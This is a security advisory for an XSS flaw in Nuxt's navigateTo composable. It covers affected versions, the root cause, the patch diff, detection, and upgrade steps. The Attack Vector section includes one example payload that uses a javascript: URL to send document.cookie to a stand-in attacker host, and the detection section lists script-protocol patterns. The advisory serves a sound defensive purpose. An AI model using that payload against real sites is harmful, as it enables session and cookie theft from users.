CVE-2026-56698: Nuxt Nuxt XSS Vulnerability

CVE-2026-56698 Overview

CVE-2026-56698 is a Cross-Site Scripting (XSS) vulnerability in the Nuxt web framework. The flaw exists in the navigateTo composable, which fails to validate script-capable URL protocols passed through its open option. Attackers can supply javascript: URLs to execute arbitrary scripts in the application's origin when user-controlled input reaches navigateTo. The vulnerability affects Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7. The issue is tracked under [CWE-79] (Improper Neutralization of Input During Web Page Generation).

Critical Impact
Client-side script execution in the application's origin enables session theft, credential harvesting, and arbitrary actions performed as the authenticated user.

Affected Products

Nuxt 4.0.0 through 4.4.6
Nuxt 3.x versions before 3.21.7
Applications passing user-controlled input to navigateTo with the open option

Discovery Timeline

2026-06-22 - CVE-2026-56698 published to NVD
2026-06-25 - Last updated in NVD database

Technical Details for CVE-2026-56698

Vulnerability Analysis

The navigateTo composable in Nuxt accepts an open option that controls how the target URL is opened on the client. Prior to the patch, the function did not check whether the supplied URL used a script-capable protocol such as javascript:. When developers pass user-controlled values to navigateTo, an attacker can craft input that causes the browser to execute arbitrary JavaScript in the application's origin. This grants the attacker access to cookies, local storage, and the authenticated session context. The CWE classification is [CWE-79], reflecting improper neutralization of script-capable input.

Root Cause

The root cause is missing protocol validation in packages/nuxt/src/app/composables/router.ts. The early open handler constructed a URL from toPath without checking the resulting protocol against a script-protocol denylist. Any URL using javascript:, data:, or similar script-capable schemes was forwarded directly to window.open, where the browser evaluates the JavaScript expression in the parent document's origin.

Attack Vector

Exploitation requires that a Nuxt application pass user-controlled input into the to argument of navigateTo while invoking the open option. An attacker supplies a payload such as javascript:fetch('//attacker/'+document.cookie). When the victim triggers the navigation, the script executes in the application's origin. The attack requires user interaction (UI:P in the CVSS vector) but no authentication.

typescript

// Security patch in packages/nuxt/src/app/composables/router.ts
// fix(nuxt): apply `isScriptProtocol` guard to `navigateTo` open option (#35206)

   // Early open handler
   if (import.meta.client && options?.open) {
+    const { protocol } = new URL(toPath, window.location.href)
+    if (protocol && isScriptProtocol(protocol)) {
+      throw new Error(`Cannot navigate to a URL with '${protocol}' protocol.`)
+    }
+
     const { target = '_blank', windowFeatures = {} } = options.open
 
     const features: string[] = []
// Source: https://github.com/nuxt/nuxt/commit/3394716d4a913cba904b028df5338f2aead50032

The patch parses the destination URL, extracts the protocol, and rejects any value flagged by isScriptProtocol, throwing an error before window.open is invoked.

Detection Methods for CVE-2026-56698

Indicators of Compromise

Outbound HTTP requests containing session cookies or tokens to unexpected domains originating from authenticated user sessions
Browser console errors referencing Cannot navigate to a URL with 'javascript:' protocol on patched systems, indicating attempted exploitation
URL query parameters or form fields containing javascript:, data:text/html, or vbscript: payloads reaching Nuxt route handlers

Detection Strategies

Audit application source code for calls to navigateTo where the to argument derives from route.query, route.params, form input, or any other untrusted source
Run static analysis or grep for patterns such as navigateTo(req.query or navigateTo(useRoute().query combined with an open option
Inspect web server access logs for request parameters containing URL-encoded javascript%3A or similar script-protocol strings

Monitoring Recommendations

Deploy a Content Security Policy that blocks inline script execution and javascript: URLs, then monitor CSP violation reports for exploitation attempts
Forward browser CSP and JavaScript error telemetry to a centralized log platform for correlation against user sessions
Track installed Nuxt versions across build pipelines and flag any deployment running versions earlier than 4.4.7 or 3.21.7

How to Mitigate CVE-2026-56698

Immediate Actions Required

Upgrade Nuxt to version 4.4.7 or later for the 4.x branch, or 3.21.7 or later for the 3.x branch
Identify and refactor every call to navigateTo that passes untrusted input directly into the to argument
Validate URL protocols against an allowlist (http:, https:, relative paths) before passing values to navigateTo

Patch Information

The fix is implemented in the upstream commits 3394716 and 62fc32e. Both apply the isScriptProtocol guard inside the early open handler of packages/nuxt/src/app/composables/router.ts. Full advisory details are available in the GitHub Security Advisory GHSA-c9cv-mq2m-ppp3 and the VulnCheck Advisory on Nuxt XSS.

Workarounds

Wrap navigateTo calls in a helper that rejects any URL whose protocol is not http:, https:, or a relative path
Enforce a strict Content Security Policy that disallows javascript: URLs and inline scripts at the document level
Sanitize all user-supplied URL inputs server-side before they reach client navigation logic

bash

# Upgrade Nuxt to a patched release
npm install nuxt@^4.4.7
# or for the 3.x branch
npm install nuxt@^3.21.7

# Verify the installed version
npm ls nuxt